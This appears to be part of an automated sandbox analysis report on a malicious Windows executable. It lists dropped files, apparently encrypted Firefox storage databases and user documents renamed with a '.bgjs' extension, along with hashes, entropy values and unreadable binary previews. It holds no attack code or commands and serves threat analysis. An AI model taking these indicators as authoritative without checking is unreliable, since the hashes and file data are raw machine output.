.ks...s....^3.....O..m.....A.w......v`...1D..$...oCr.).2.{z:.E..q....Q...P~...bM.fp..1....v..@......eC....D....}.\|...D5.....&.......~..-....M................o...rW.C...7.s...q-..{.....#7..@....c.4E..........sy.h.(.Y...7SDna.+.dJ.C/.GJ.a.u.4%X.."v,>.....=...qx..........._.)6......F.Ek.x.,....n...4..(...}6.....s)..M..J.dI.k..df].~..%Y...w.cd.U..(6e8..a<a.T9.^5..2:$.f.0..0.......a.w.b>.........].......t...c s>.X..F.Q.pcN.I<%.s.Zx4\|

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996494329347269
Encrypted:	true
SSDEEP:	1536:dzwmRWLNx09Mvc1KiAZ/jmQJ4X2/Dp+hXD:dcmi09Kc1g/jr4m/Dp+hXD
MD5:	88EB1C71E3729F1D2A2A7E8052B0AA3B
SHA1:	9CE0D666CAC3CA2AE22DE66A6061A98FDA02AEFB
SHA-256:	8958161DAE3E59A6246EF828674FD1F29B2C7E3D2E99FEB4447BBA421E7B01A9
SHA-512:	E6A0ED6C5B20D85E6B586DAFF15CB74CA1EEE87FAE8D479C1795A4D1FECFF08C6A6D4889B40195AA7EE3F309E8CCB74A77956ACEF74F569EB256BD9558C0DE55
Malicious:	true
Preview:	SQLit...T.kc...YvA...U.1....^.g.......y.y..k........q...dM..m\.P......7..S...1.?&......&........1o.(...U....x.+.... Q.O.>j"..R..g...KK7]X...<.1j..q...$"6;l.sO6..?:,b....o.Q^.QK...X.1.....$A.4........%t{._x.:...........>`..t+O...?.DdPl.U...c7X...P....,R.;./x.q.A.X.{..zH....~.f01$.....0.}....E*..../........<.8.....{.......L..PTj}...o.]1...S.......=..X6G.H...Ri.9.....L..MnO....Y.....I.{.r....nek.z...z.......w...k.(Z2...k`K..R'.......,,53.{ZP..1.S+..O...P....2..t...X.....o.......2.........>c..0Q.iC.K..Z....G.A..=#...."Z...J.6..N.....].G.R....Z..c..].....A/..#..zF./ .L..j..N{4\.dU.).R.<~.$.4.L.O+@W...dX...3#.:Bw.....}.Aj.Gx..y....B.9..d...g....A==.....y...'n8.y.x......\.{..K]ke4~`.!X'=,..g.h..oziy...p..k.....T.`../..+.Y....h...R.}\]..h.0.v.......X....(.7eT....'...W.r_.9..c.N...... 4...o.r..#......?.;.G...._c...w.g@......8........%ee....~..F.....l.>3'..f..M.N.LM...j.TJ.ZQxWQ...p"...#.c.}.L.L.....0.B.F)D}..E.S..mv...z..j..r3 .v...}7V...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994781684677932
Encrypted:	true
SSDEEP:	768:VjLFL51Kb1u030zFSbVNJl3/oieInOI2ZI:RV/Kbx7bdFoiDOImI
MD5:	E9E4DB7886CCD293768F346B46299B66
SHA1:	7431F991F2980A9BD4C16157E5D6E633556DFCF0
SHA-256:	5259A2714A0E715F40BECC8AC577277612F31E944D5BB42E992E4420226DA986
SHA-512:	3B88DCE1EB062064D143432A880C42B964F80A19CFBF7DFC6F6782DEAEEA4C4B3E5E5EB4A4AFB07935E437AFBFBC74C3A9A4695CDC39555FA0C402062DE8A9CA
Malicious:	true
Preview:	..-....y.r.V..K.%Fk.\.\..u.9N8.....2...C...?.X....O@..........@Z4....o.1.$:...E..++..W....h]....5..m.3...._.._..o...... x...Et#+...G..b..;.o.g$.9/...d...O..8uaKq.I+....Q...6.......X:\.r.....,;." ...XZ.i$4..v1..u.&..1J...'..tiE.&...../.........E.8..\...Is.O..)A .U.2....1i............n.<HC.;..yk/.......O>+...x..?Fmo.....n.O.........O&.....i..]%j.H..v..$kq%....o..Sg.,-...x.....\.vn...M....@.D..UA.D..&.#...W..'.qp..}...B].1.^.......d.'...R"..\...W....2....Q...gO...V.+9H..\|a..\|r...>....L.j.....7..mZ&E~....J.C....t....X....L.S.{.u....:.....R.{...b.a.!K..>z.."..c.+..g..\.s.n.5.`w..=.>.............h7...s.\.v...s.M..!@=2x..w2<.Eb..g.....N.y...}.M....\.:.L.[y.'.........$./C.I.....m2z~.h........x.8Ml.....,....;...T..s.I...h.....dy}.&.6(.3.M..(.....Y..Lr..S.....MH.?.@...6b\|co..u.54Z'V,L...J...e=Qi.....x....SS.%.%..1.L.d.`.v....[!.Y.B...!.We.`...D_a^{..E}+.r.D......Q.>&..:.....m.....3.I..h.r.......C,J....I..........<....^.....X.(.=S

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	573774
Entropy (8bit):	5.733068229817215
Encrypted:	false
SSDEEP:	6144:+jp2yLNCpbE90ekZnC1rUwwEwM52tFZO+fqaDRrh/o7W:cpCpbExkQ1QwwEwMAHZOraDXgW
MD5:	1F4C6ADF242D535E77A7603BF2C1CCA0
SHA1:	9EFE636A23DEA72F4683FAA01A5A242EC75B41C6
SHA-256:	F18220994134DA14B50C381D8C19A130EB5F4E1E3B5875E94E4DE824FA5CAAA8
SHA-512:	71CA353A79D8231DFBA679ED3CE0526E09857F262138D2E36116EA550A7BE56F89CB9B74406EA42D1C018311F1B729742EE8E44987DF05773BCC6C2E69D61C7E
Malicious:	true
Preview:	SQLit~\)fJ..5&.3...1V..f.].(..-$E.s\|.k(3.:.........SwGN..ZN..{...D...L.Z.X.&.A..w......F.SfeP.@...].Q..&..O....rNJ=.,.w...~u-..[.....[7.RY.T.........(.d...o}...g..4J.E..$w..\u..F....a..d.3.....B......i....Lbm...B0.A..wA...+#.......P.Q.9.2)..Z..;P.;...._74dl.X.C.=./....k...ul.Z!B...D.nK.{.C..O.;XV.Q.:.'.Q..8..2..OS.7.'.........m....:.=..%y..(`GT.[.p..'.....G..<..Y.H.....!..g..-.:...7.....L..~MI'C.MB..4X.%..w.....P.z.8.S..h...9......s..;V.Z$^.e.:.1...rS......N...k;.K..28.:i ,.s~........g..p....@.Z..^.d\|.......N.P.....#....../.m.g?.....o..X..zp......YB....[..c.+./.ur\...qb....5&.i..@...+nJ..%Q.....O..r.../ .Dhy....w".....t...@3....e...%Q.l.Zx..r....W5..Ja>...yM.)?..,.w..r..?+..#...W.$..L7.O....O../.y/c(..kHE.......2..6Qj-.Ny..c.Z:.0N....-y..R.....&...['9n..vr.L:)....T...2......G.......m.V.}..t.....J[.{....E...Jn..T..TO.x....9<..yu......._.Kg..mVo.%i..]s....qX@.0.4.3t.vK...e.<..8.........B.q3f.......d...Q..{.r.K.....=....:.cK..Jr.......N..M

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994223450911499
Encrypted:	true
SSDEEP:	768:zF9DCCAmZ5v6nkwGNDKzA6C20yoKG1gU7M7BbJ0qKXMmAiS79nL217c:5pf5v6nzzf0R1gUQb+qKGQc
MD5:	17921F366D7BE760F8A09F90E46D2A04
SHA1:	AF556A16F278C0271BD14E28B2DF15ED15F859BB
SHA-256:	19D526FC925F559FB0CDA8A10A318A032D2256E7A24F82B954BF499C6A912635
SHA-512:	8350E76CB31259ADD2D72BF5DA9985A2D66842A236976798D1C0932357CC31B3DB6E35A5EDDAA342602C0992A2408199620BE4E3EC7CC7A7EA72A1FC6FF9AF06
Malicious:	true
Preview:	..-.............. ..;..p....$-r.f.Tj.!6MYAf..V.2......c..r..o..%.e.....#g.j..5V.`.2$.6..$.@-T...}...3..(......%Z./.@. /W.Is...,{4.].8...6....y...o.....T..P...6.."... 87{ jeD.&....m8&........SS.[.\|....mO9..^....\.;..qa...B.r.!V.. .T.>..o+.K....J...SRD~.I.ri....qE.=1.8..#(.+_l.m...BT.w.m.o}>&.....I"r.94..jH..n.D3..&P.C.bO.eG..N.;d.!..MH.uE......9....u...m.7..w....../+.3..E....(\.F9.tT}?..0...'...\|#QR.2T..U....Q..?T.P......~..o......Yr/..Z.?.......,[......%d.t!!.......0..g.i..m+&Y.-R%yx^.<s56."...........dxR........ dXoj..P.c..BX..../.ux..P..8o.,...t..uT..p.."...%....F.....G..I.:.).>p.-n..h'..+P...C..1........wp..D.k."....L.+.....j?C...m......$.@.f......E..$.........i......).u..q;.R......].x".}.r'./.N.:...c....}.).&a.<.A..KC ....e8..0....~.......q.._w...A.qS.l..@@..gNC&O%..;.8.h^......$.=...MQ..}EO[.j.n....R..E....<2f`q....zeZ.;.;.9.y...{E#..8/......s.H[.?.l............ul:......3O.kp......Cmo..(p.,Vn...(+\|.4B.i....,..

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85969340753304
Encrypted:	false
SSDEEP:	24:YrGI+6UUMklWo+3pcy+KU7HKmtcPnkF0a4G8rKfYoMHVT8UB2BackYtUTi/f4UJo:RtA+H+5PQnw54G8rK8Th2acD/NJmD
MD5:	0965F96F166B60B0136AA184E4FF76FA
SHA1:	2847828FCE0F29E2CD252F3C2099B41461ABBD89
SHA-256:	85D135414C3D3C3484EAA2EB5945B1515077981718AC2DA131A03CB6365BC30D
SHA-512:	E5E9D26D7C98D1542648BA8B147EA76308DFF7DD3EDA3661F2BC191838E54ADE0FE5A968AC798A26D4CFE046E74BA118E81A67D1B178B671B06FC9888A97EB3D
Malicious:	false
Preview:	GRXZD..S.J0..........$......aS..r9....`.H.....'.o.o...J._......%tN..[.y.?}........a...w....gG..s.."....../\|.S...K?s..;......)P?y...7..H.Z=.EN......s........W.....8.r(?'w..oAM.n...`#.A.. ..K..&,E.w.Z.r....%(...J,.{$....uI..3..s..2.J....U....x..s......@o..v.N..1....]...Q....R..V....r.p?.."..:.h]Ua.C..'uE6J...E5....![...euK.. .e.y...i.....x.~.N....CkU8C4.....l..;LJ....... ..I....I{........{..{.28m.me.%2..\|....#..p6-.......&I.D.Y.$..4...7c). ..R.76.9gZ..].<O....LD_.....E.j4g..9.~...%...K.6B.gz.m9it.....Ud..\|..r...M....B../.T0...dfk.T.... 1...."F.2.....9....CCI...6..rq(.."....*0.=......7.....J.e`.V..\|..Yu5.lD..../.;<.m3".H..PY..W.....Se%..\|N....C...Z.B..v^1z...f.....(.....0....f.Az....-j..p{.4qk.m.t..+a..7,.L.)..?.?..hi..K./.....<.p.......Y...(/.w..pE[.q....b.F.A.o.....3.n..\|_...?g..\b.......'X.C&0.6..o..W.Qk....w.Bx....)3..-...2!0#.o..F&.(...Z!......^B(.Z.g..O.Q_G._..s!r...L..y.\|.....0-..g1J.1zlZ.TT....D..(.d.j%.B.Z..p.Z'..J..Dw.X%..l.

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838151219445605
Encrypted:	false
SSDEEP:	24:A+l9O+0eShe43h04Mik4DbQYFeivfXmpqWZe3RA5dammEqEP35FP/PSoDf3D8Cvp:Ay9PrSFxrMLysmeivvmIrhA5dVqEPJF1
MD5:	249565EF9AE6A73A8104694D976C3F28
SHA1:	0EA9B94363AFEA8C1D0A957ABE0897A38667950B
SHA-256:	49BA6991D41A95875B8010C166E48C7FB25D3E7677748C64E0C17D7C9B929774
SHA-512:	E56C145746B0F14A24E9AA89F0132ED0BF0EE390527769CC9A83E6F7001A46E7C0EFADCDA15417FAD7BFF291A55AF46D90D9728CE0671C9E45DA35A29C2AE755
Malicious:	false
Preview:	GRXZD..'..S}.......\|.V.Y@-..9./..y.)g./.5.M...\|..<...!.[...../.......RGm.8O.Q......[z..)..goP&k.....8.{...O..Wq....O......w...D.K..HSHQI..U.4<...q./...C..p.eI..b...:.\|..9x....~.?`I..Z1>.a..k.......uog.rz...w..o..sy.3l.Jp.\......5.q\e.'.n.1z1..kvab..).C.K.....v..p>.Y#n..#.j......I.@.A...P.......1RH."^..r.I..!...'%.v1..P{..Rv....YZ...&a.Zn.-....<....r!.L?..xD5..^)..Qi..F2w_......."....x_..~.Aa.6.ur.....K......tNyt1....0....$...L...v.@.I...UkEmCI...cw..X..G..V..x{.;.. 7(.Y...E.8...J.]...6...x....u.'..i.l.&.k'gIa.e`.A......d<......U)...(.-zG...<...S...v.g....X.......Ay.L$5q.B.i...zH.X...z#z..............Y.H.."gyOw..L.W.*:......p..].:.]......72...'...>...o..T.J..6...c..$..2.f{.+[z..\|..\.s....?.?...g...llC....`}..e...F.P6."g.i.....w.1Hf.X.>.p..a......<.1...+....fg..MfL.i6.zA. .m.g.z..CQ~bIp.g..b..[..H.L^I..rI..i...>..w.......r..[G...1B.R.K.v..{...j2...Y...)..L.H.....a/7L~..`a....3....>)..[.2.....?.\|....q#.:>a..or..e{..:...)r...L.<...D..V.;........

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854270731133537
Encrypted:	false
SSDEEP:	24:f4unHosGJRIIEJTTg8m7g+i0QJ5EJqsv5QTvAOiVlgpZwu63wFsbD:fTIsGJuIEJTTT+eJ5EuTvAOOlgpZAWmD
MD5:	D59719E9FC91BA7395B7BDC55FDD1A77
SHA1:	7AC5EE5F91E1AEA19BF40DD207551B66949848BF
SHA-256:	5E444AF33099A75892850634560F6E77367AC89CB6DDD76C3152BCEAE57DBCD0
SHA-512:	C4329B7689B1FE3C31AA653DC4576DEA639D182070F70E70875FFE803D8976B6B2A97F12BDCC421B443FBE02F86F3681AA0C3BFC5206743C62D8B656397DD540
Malicious:	false
Preview:	JDDHM...X....m...p......2....1.XEE.)5..2.......67h \n.K....X..O?v.+4c....4...o......N..C.....F..S{...E.......z\..tz....).w.......U._.i..O%.6ihQ.Mx..A...8......\...,..ZQ..t...m....A..s`... Y..o..h.....hx.....[.....+....W[,.....U..........`.s.>.G.o.g%...z.,...;..kJ..$-..ch=)#4]....nK^x..'Z........+......:...qm,.......?....`:.....b..w.V....f2I4B..r..H.....v.f.~s..@....n ....,P....G..vv?H.:......\|.%7....C.,....$.`.I.h..w.8....R.4..[.h...0F..&.r.........p........G.Yl..^.\I.<:=.e.c.".......!....2.".a.).]..K..i.'Y3..B...$..IQ.U..\|G........b..\).Jp...Yq4uz..<.T...^.V......)#..sQ.taQ....A.A^u.........n...Z}f"..HeO.....}.f......A.'Eo."...\.Km;-.y..w..t......r.fe.bI...\o_...@..]Y=&,d..V.D..s30.QTWP8....D.I.h.\|."S2.z.+..^7.. ..\T..r.6,......'.W...SOF.P.I.~:>...F....e.vEG.,.fU:.D..xG..a..N....h.3U<.....h......)*.bi...j..=.B]...[...s...]...%...:....)S....9f...3..6..Xb\.....$..m.Z..K./Il.yxa....0....q........?".O..l..p7.H..Z.....J.\|...V...J8%\f.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\MOCYNWGDZO.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822925506158992
Encrypted:	false
SSDEEP:	24:PdoU+L5o3xW1ot+fxav1ABm01SDUGOILg/jKeHsiNlUJQJsbD:loU+acoqg04ZOhDpNDmD
MD5:	A6ECEEC61FA53EA64E69BDC76C21203C
SHA1:	D81188DDED111B8DE2E87C8B4D7E1EB61ABE21DD
SHA-256:	5A96528D33157E71ADC2C19168C915D05174E142E94E4B882D20CAD1B7F673B6
SHA-512:	BCBF212AF74DE6C50CCEFA1E8AC9A7DB8462D98A5D9355978C8DBCBF0AAB8443840CF7A375D58A43ECD5795A0565DDAE0E05E142577DBA9DCE2A4797AC0A7132
Malicious:	false
Preview:	MOCYNp.t......]..".>[.R6.x...+....f(.."..qk~F....d#...{..W....p.t.......@.)#8....<.`......G.b..f.~B?.Q.-. ....f)." ;...Sl.7..J{.....o...CF....3m.r.....,P.<..o.....E.m._...h.....2......,{.!...A{...7..q\|\|..\[F....)kS.....m]..="...46.FOC+.X.n.=. ....q...E..q$. c.T..=...1.~`q...y...w.(.$\|.$m...?.6.[......}.../....w.PS....Ud.F..d.:..G....G..`u.@.?..?...R.n..>>.F.i.c..p.......M...).(.3.iQ$3.. g.`lS.l.!ml.D......{.3....Gj......7u......L.K.. ..0.3..5m........x....=._!..96.u..........V....M..F....[:..S\|d..`.b...x.m.......,.-=..,..}<...p....1.`.~\[..$O..#..%.#...+R^pq#xP..J.._..5.*._..03.;.v.5Y..v....v.VC..@.N..Nj2Y&.9e"...n)..uh=#..}.E..K..#k....6K..m....q&....Tg....j..j.c.L..d....S.Z .S.X.....m..>Cb.6f3.Y./.]>;....=.iW..............;. 8..}I.G.....v.U......f.,.4...#4.a...P.h...}0...k=..y...:\|a..bhU..'.b.\....ar...m.!u.L...e....o....L.v...c....(.,&Bhg5.d...lW.w.v.....`c..<1L...T..b..T....!..uj...o.J...@3.<.....}.3U... .I.SIx.Y..Qh...

C:\Users\user\Application Data\Microsoft\Windows\Recent\MOCYNWGDZO.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843447351479886
Encrypted:	false
SSDEEP:	24:ik2DoT2HM2rt/ZVE4n9dzztyQZVAlSkb/UnqrXXF1mdCnzwy18sbD:id9HM2rt/TDQQw5rprWkcmD
MD5:	0E6B1B6E749EE712036CDBE58DBE2922
SHA1:	4929FCDE881CC5156B4FBF22A5F1B925A4830FCC
SHA-256:	E9159F868006E805E1544B76FA41C963C1B3E709C09EEB71F7D1B442DADBE21A
SHA-512:	82AA85BF55C573ABF34CAA2C8D9310433EADD7B9BB9C1790EDFAD6B6EA4FFA1F202A08CB9AC601CE157AB544630B0404C4273855CE5CC305217246284D0C89FE
Malicious:	false
Preview:	MOCYN.%....zM..w..e:/..Xj._...N..?...4...z.....wfI...1.1.R.2..-..&.(........vCF..?...j....._.vr'......5...A.....M..b.r..;.?].d~71.lV.'..@..Z8...H.ql..\|..&........C..R..3.#`&...\^)0......H....v.......7.!.N...z~.r....voo9_.........G9.o.M.A.{WT..:A.M....WAr..+..B..tC.L ..Z.FY....g.>.k1.....M..Z.2...$.S..".5^...7.c....(.E...........QR.....\..:...R....c_R..w....2x.... .zu&..d.,..v..`..(I....2....$.;.^c%v.\.......,.`8..f..a....v.^..S..H;....<.O.....TG8..1y....L..{l-x.~P_. Dy[N.H.j...v.....)......J..t?QXs..Hb.,...?-96..U..S,(G...3..Mh\|..h.n~.[Z..$.:.....4.?....M.rlH.rE....uI".....M.b...~.\|Vs.x$+O8...}.X9.Z..p...\|.)...%..Z.G.,d.........V.....E}..63...f&.S9.,S...".".../U......iH:=.d.X.0....K.2..G.@{.lTLp.}..K.acfs4.F:X..u..Q.".gK....s.q..P...N.;.1...)..........8..mI...SOx......Er....._i...kY....<I..;....)].L.&....q[.3...L;.K1.o..9....o.8C(.O..].P4....e......(..#.>...K..]........~.....a.$.$IU...(.7..Q...DC...PNJ..f'WL...u..?2_d.N.VZD

C:\Users\user\Application Data\Microsoft\Windows\Recent\NIRMEKAMZH.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845926464595251
Encrypted:	false
SSDEEP:	24:fusFlEtRFI6F1ttkHCWO/ajoEOW4vVGY4gQeQAaLsbD:fZFlEjFIofOCWO/aTOW4vcY/Q5ZLmD
MD5:	404717699A406287DECE0EDDD8A6603E
SHA1:	244934C5F5EE855489D7F0DD4EBAA0E649F739F5
SHA-256:	500B73170A4DFC0CB7F51C0EF1C236605D12A428E3C7D47000E87FAA7D317197
SHA-512:	59B5550617FC98FEE7B184F49F6A531771A824B3A933113F1E2ABE20CCF5B532CD5E970C2DC0BF199016DF669B2A8078E35AA28CD3E2F1D6C46C4EB420B7535D
Malicious:	false
Preview:	NIRME~. ...hE8o.....5.......0.1.@....\;+...5...6A..WBj..R.`jq%...[....m20]B.,...U.P..+.....W._.S......r_$r...5^...+..7..".Q~4.]0"...!{@........>..m...-h6iV..,...e....=.@...;...PC...'....$?....i.@.X+.8.p/p...M....G.M.z................EjO...G..._.5..\|.7.z.1...(u.....Z5Y..[.B....Q..04Vv..U.<..#.#....j......a..{.b,.\|.d!r..G...J..O....nc..7..v... ........\|.../.v..YI..v$.........w..~.Tl#.OTyk....c^_..Bz{..............)....l...50.......O+...Lp.G..O(....!..?..u....].. .r.6.vA.a....I.....5;a...........z.A.v.`s...STD4A<Tx....\.Q....`........'..$...!..'s........`..{i4X..O.N.e...jA.2..Tg..%.?...9....6."..Mz.....X..<..p..:.3..)..\|..}k...l/a..Ik.....2.0..c..R.".?...6r..po.Ab.......2..c...G.W.6r......@..9... ....&xFT.Ce.1.l;A2vC...\|-\|ojj..)...J..1.;`..Pk.....0G..e.cKU../.m...+n....\|)J..tVn.d..K..@......4.\|l..~....z.iU..$.p..A...yF... O..2....t.......-..t..J.T.}Mh...EY^v...]...$....GA;R..1.H..6.....t.wI.P.@...bO....Nm.2.D....\....i....H.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836843508464067
Encrypted:	false
SSDEEP:	24:FD3PaYqERz/GFCoX0AnC7wMRgJM03QvXY61lXnPx9tPoV7MiV6irfo9oTsbD:FTxqDFOAnC0M+JVMXY6vXnPx9tPuM7ig
MD5:	CD75DB04A6068F9EABAE53F2AC873090
SHA1:	34F70395A3565BB209BE36FCCC2D3AD067BFE775
SHA-256:	47DF15C6A4E0E2F2868A57690D2B32C7F53CF7EB056E463890A0D394D97FE9D0
SHA-512:	4D00D66155F6ADC2DCBE4C514973D40B4BB9272B7A1AD37ADE20B9B2AA1D7669308FA2205C71DB07E81638E5F7E2F995D1C7C918C40BE1FF3695B5EC7087A247
Malicious:	false
Preview:	NVWZAbW...T...w.......lA.....0....#$..V.A.<@..w..5.M\|A/....A%..S.u...+DA..o......U....._.E.t.\|r....ge...`......J....O..G+....9~...O.&).'..N.V....>@...^.M.2.u=cRH._..;.!{5..,..v.z.2.=./.dv...t.b..w85.k+)....A....7T......p.I.....[..aw...Z&g/U.......b...1...,.&>.c..n.U...v...\.O1.N..u..y..~i.k..6s....Q.....P.q..'..BG.d....f..Bf.Q.S..e.9%&....zS).u.....y~.h..1!."K%..d)....(.A.8z..WgR@...!.....J....#..42I.t.?....u.DR4c.....&..9!..'0..;0..](.!nD....G......GuLm.4?^3.:..a.m).@YA{..!..m.<.....`.y..(zV..p..M1.......=..`.YN...'.. Un..5...].-...i_`=:l"...I.]~.....V..........u;....4....1.gGsl.....y.S.:...7E...1..\....SRia]=9..F%....8X...3....J..^y@....(.}...oRLp..nd..E.av..R....F[...n..4.I.P....D\.s.........i....T{.d.AW..uE..0...=.E(.l.r/.W.0.B.j..b..tw.y....=....f1..&y25..]Uy....oC..#y....h.X...75.'..N[...i.&..AGZ...K..b....X.k..Q.c...~...0.....O....k.jC..9.;.I...q..l...>......v....7.'.s..a.?.&,@R.-Y...J.-..2{.<.-yn.$k...N.@4x.{...kq.B.\|S...h.{....%.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841022294829901
Encrypted:	false
SSDEEP:	24:FZip3m0RzMjj8pvy0jz1D+SlNGpMZRj0BvzbNKrjwDEHwossbD:FG3maAj8pHz1v+MD0Zb4jbH1smD
MD5:	7BD77A5F7D4FD60C4A5CDADD08DEA0F0
SHA1:	E736B3736164462B881FCFBFD8932A0A854BD48D
SHA-256:	C34412D078E9AAA7452C8D705FB1BE765202E722B119749F2F7A0F09B26A0187
SHA-512:	FFA7B8A1D510CD01068CBFA80BC52C7FCDDDC72810A72B81B308BB83DBEFCB86FC162B6F2E7320610D386225DEA5C897878D67103F7C7BE8DEDFA9C839708795
Malicious:	false
Preview:	NVWZA&._..si.:d.$..l.u..1.q./..'M.^.M.....a..$s....'.Fz..5z.....x~c..?y..Pko..".-k.Ix..5b.CM.II........<E2.........Sj.B.l.#.eP....K.Y.......J.....L...Lfq.....X..2....l4......S......?[J.%;s^...Irc<..p...'p...."`..r....h.u...n....G.%..&.2..@..t6..(S.@s....GlH,...7.....t.>YV..\r.<.....=7.......b..>r.+....p2.....Xz1....[.\....)...x_3.Xh..p.C...L.x....p47.....;.q.Mw....w7u.G^D.Pc}.43P.X.+.!.}..1r...@.l..O....;qP.P.k.h.t..7:rE.\.4e....+.....i.8.f...=.~.pHqe.D.].I.v7.......;.a..=B.a.D....w.2.D\p... \..Cn08ym......X..oR...ak.~...B...1.......n.28....M........D.....P.}.F....2.Is?z.iTja.x.Yr\...<..O`..)^SP.V...~iA.z...#...:..RE...9[q...._&.=1.V..>Kd\|........(........m......\...Z.....v..TE....A..x..;.5W4c....J.....}.Q.&....)\..i..o.ky.ga'9........,.U0.,......bE..1b;j6..K...\g.....>.J`7).......~..c^.A...X.{cSLu.?.y.v....../....BL..t..9.C}[OO..<`]...^;7*.a..>.=..1.\|-..4...\|W1...^..G.z...a.!=L,=9>.,..7.{.X.;..zJy..4...............=.j...zM........T....m.5.ml3

C:\Users\user\Application Data\Microsoft\Windows\Recent\NYMMPCEIMA.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837879183825161
Encrypted:	false
SSDEEP:	24:6Hw1HvPPNFRtXVvfDVz/j+QoPxq5o+WokjIbcFAk9FO4jH5Xa7IEofirS/PMk0sX:yuXPNftX/8JQo+jk+E7LXFadox/PMk0+
MD5:	1B3D07E0674FEC867F1DBECC843C673F
SHA1:	F944FBD558A5A2B3CBE384BC474A3636703CD109
SHA-256:	425A47C2E0987874A6AC0215F07E22B1309C2920557D11C7A3AAC314D3D2508E
SHA-512:	215A02FDFFF9C5A9FE36315B003E14B746566EDE9D50CA3220D6716C11AE0B2E156BF562F9BEE2F98F159DC50E79CD20F58649A242C792B063BD31A009C629F1
Malicious:	false
Preview:	NYMMP...A.Z.y.#.C....e...Qj...T..h.HC.;c...Q..WQC.jA.<....'}.. ..k.D&.P96..i68..H.b.C,.w.H.A.K.v....>....aG.+eB.A.(/.hTB.../r..k..n...k....W.f....lY)8....j(z0;0Z........[...^.,....t..8.$1.l&.ml2h-!".'..^%.X.v...y.v.G..R...6....<.$.z....x..R.jl..\|.\.I..2...,4.H_....~}...l....U..H......N.M.._T........p.+..h`.Fi7$...4....T?c..jYE...f....kFiq..o....m....Y..1._F..[......... ..J...}K}./..u...`/;F.1..=.e;.D...d)...'...z.v..U..g..Y[6s....3/0.8+.F..L8..5..2..s:.....Z..eu.`J%\..9.,.........._J.t..}7........e..\:..^..F.......Dd2].1pe.<.fU..2q.........=xs.. ...Gh...`$h../..M....7x....(R.Z..4.u9.;.k.:.[.^..%...k..2......3.7"_~.o...=..8.=...:.=.7k[1\|..%...Te.3@...2/.QQ....~.j7.4...Z.:k.........e.o...!...5f...4.....0y6..p..82.!K>D..J7Z...J.....%.<i... .P.........2...8.N.[/..)/TYP..9._...T.5..B...Fx.0@.\|.!<..a.I.....JB#.R....O.....n...9%}..1.b..S..8.r..n.G...uk..gJ....KK...7....A.'b!.i......@s(mX.B.1..1.a.~2....R.....S.V3...+Y...9.]...D.......YV......#\.

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868078790571207
Encrypted:	false
SSDEEP:	24:T8QuUnu8P4dFU5uGkYLU7C0ypATWlCt9cEJ40gsEG0GeHxl4g2sAGtoPW4YNDQvh:jpnDPKC5jkAUNClCzcmN30HH/4gXXSlB
MD5:	B62E33D01FA9B2576405FC745B324CA1
SHA1:	16473890B3DF09D2546D0A768C2B8248F054D0D9
SHA-256:	D1B4F926496AC3E2D5D925DE2C920948CA72759CBDCE4FC540F4C7EADBE9605C
SHA-512:	2E2C0FF2F4D278205B0F29041867470B3BFBF4B444ECF9DC9B4252B0EC0DF4783145039D57C8A4696D761CE26DD0AA0D800F68131716F960DD63D4D105CA698C
Malicious:	false
